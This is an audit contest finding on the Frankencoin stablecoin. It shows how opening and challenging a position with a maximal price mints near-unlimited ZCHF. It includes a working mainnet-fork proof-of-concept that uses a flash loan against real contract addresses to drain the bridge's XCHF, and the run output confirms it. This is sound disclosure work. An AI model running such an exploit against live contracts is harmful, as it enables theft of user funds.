Platform: Code4rena
Start Date: 12/04/2023
Pot Size: $60,500 USDC
Total HM: 21
Participants: 199
Period: 7 days
Judge: hansfriese
Total Solo HM: 5
Id: 231
League: ETH
Rank: 93/199
Findings: 1
Award: $35.06
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Lirios
Also found by: 0xDACA, 117l11, BenRai, ChrisTina, Emmanuel, Kumpa, SpicyMeatball, T1MOH, __141345__, bin2chen, bughunter007, cccz, jangle, juancito, nobody2018, said, shalaamum, tallo, vakzz
35.0635 USDC - $35.06
It is possible to open a new position and successfully challenge it within the same transaction, creating a huge volume of ZCHF without anyone being able to bid by doing the following
type(uint).max
)This will end up calling notifyChallengeSucceeded with a bid of 0 and size of 2.
function notifyChallengeSucceeded(address _bidder, uint256 _bid, uint256 _size) external onlyHub returns (address, uint256, uint256, uint256, uint32) { challengedAmount -= _size; uint256 colBal = collateralBalance(); if (_size > colBal){ _bid = _divD18(_mulD18(_bid, colBal), _size); _size = colBal; } uint256 volumeZCHF = _mulD18(price, _size); // How much could have minted with the challenged amount of the collateral uint256 repayment = minted < volumeZCHF ? minted : volumeZCHF; // how much must be burned to make things even notifyRepaidInternal(repayment); // we assume the caller takes care of the actual repayment internalWithdrawCollateral(_bidder, _size); // transfer collateral to the bidder and emit update return (owner, _bid, volumeZCHF, repayment, reserveContribution); }
This will cause _size
to be reset to one as it is greater than the collateral balance, and volumeZCHF
to be calculated with _mulD18(price, _size)
. Since we set the prices to be type(uint).max
this will end up being huge. The repayment
will end up as 0 since volumeZCHF
is greater than minted
(which is 0).
The huge volume return from notifyChallengeSucceeded
is then used to calculate the reward:
uint256 reward = (volume * CHALLENGER_REWARD) / 1000_000; uint256 fundsNeeded = reward + repayment; if (effectiveBid > fundsNeeded){ zchf.transfer(owner, effectiveBid - fundsNeeded); } else if (effectiveBid < fundsNeeded){ zchf.notifyLoss(fundsNeeded - effectiveBid); // ensure we have enough to pay everything } zchf.transfer(challenge.challenger, reward); // pay out the challenger reward
Which ends up being ((2**256-1) / 10**18 * 20000 / 1000000) == 2315841784746323908471419700173758157065399693312811280789
. This huge amount is then minted via zchf.notifyLoss
and transferred to the challenger who can swap it for XCHF via the bridge.
Here's a forge test that forks mainnet to show how this could be used to drain all the XCHF from the bridge:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../contracts/Equity.sol"; import "../contracts/test/TestToken.sol"; import "../contracts/MintingHub.sol"; import "../contracts/PositionFactory.sol"; import "../contracts/StablecoinBridge.sol"; import "forge-std/Test.sol"; interface IUniswapV3Pool { function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external; } contract UnlimitedMintTest is Test { MintingHub hub; StablecoinBridge swap; IERC20 xchf; TestToken col; IFrankencoin zchf; IUniswapV3Pool pool; constructor() { vm.createSelectFork(vm.envString("RPC_URL"), 17044880); zchf = Frankencoin(0x7a787023f6E18f979B143C79885323a24709B0d8); xchf = IERC20(0xB4272071eCAdd69d933AdcD19cA99fe80664fc08); swap = StablecoinBridge(0x4125cD1F826099A4DEaD6b7746F7F28B30d8402B); hub = MintingHub(0x0E5Dfe570E5637f7b6B43f515b30dD08FBFCb9ea); col = new TestToken("Hacked Collateral", "HACK", uint8(0)); pool = IUniswapV3Pool(0x4858411a69af3351ED7d448A0d65C6146C11C218); } function testUnlimitedMint() public { emit log_named_uint("swap xchf bal", xchf.balanceOf(address(swap))); emit log_named_uint("this col bal", col.balanceOf(address(this))); emit log_named_uint("this xchf bal", xchf.balanceOf(address(this))); emit log_named_uint("this zchf bal", zchf.balanceOf(address(this))); pool.flash(address(this), 1000 ether, 0, ""); emit log_named_uint("swap xchf bal", xchf.balanceOf(address(swap))); emit log_named_uint("this col bal", col.balanceOf(address(this))); emit log_named_uint("this xchf bal", xchf.balanceOf(address(this))); emit log_named_uint("this zchf bal", zchf.balanceOf(address(this))); } function uniswapV3FlashCallback( uint256 fee0, uint256 fee1, bytes calldata data ) external { require(msg.sender == address(pool), "not pool"); uint amount = 1000 ether; col.mint(address(this), 3); col.approve(address(hub), 3); xchf.approve(address(swap), amount); swap.mint(amount); address posAddr = hub.openPosition(address(col), 0, 1, type(uint).max, 3 days, 0, 0, 0, type(uint).max, 0); uint challId = hub.launchChallenge(posAddr, 2); hub.end(challId); swap.burn(xchf.balanceOf(address(swap))); xchf.transfer(address(pool), amount + fee0); } }
Set the RPC_URL
environment variable to a local fork (or alchemy rpc) and run the poc with forge test -m testUnlimitedMint -vv
✗ forge test -m testUnlimitedMint -vv No files changed, compilation skipped Running 1 test for test/HackTest.t.sol:UnlimitedMintTest [PASS] testUnlimitedMint() (gas: 2031624) Logs: swap xchf bal: 100000000000000000000000 this col bal: 0 this xchf bal: 0 this zchf bal: 0 swap xchf bal: 0 this col bal: 3 this xchf bal: 99997000000000000000000 this zchf bal: 2315841784746323908471419700173758056065399693312811280789 Test result: ok. 1 passed; 0 failed; finished in 1.17s
You can run the test with -vvvv
for a more verbose output showing the events and method calls.
Forge, IntelliJ, Alchemy
#0 - c4-pre-sort
2023-04-26T14:07:55Z
0xA5DF marked the issue as duplicate of #458
#1 - c4-pre-sort
2023-04-26T14:08:01Z
0xA5DF marked the issue as high quality report
#2 - c4-judge
2023-05-18T14:45:30Z
hansfriese marked the issue as satisfactory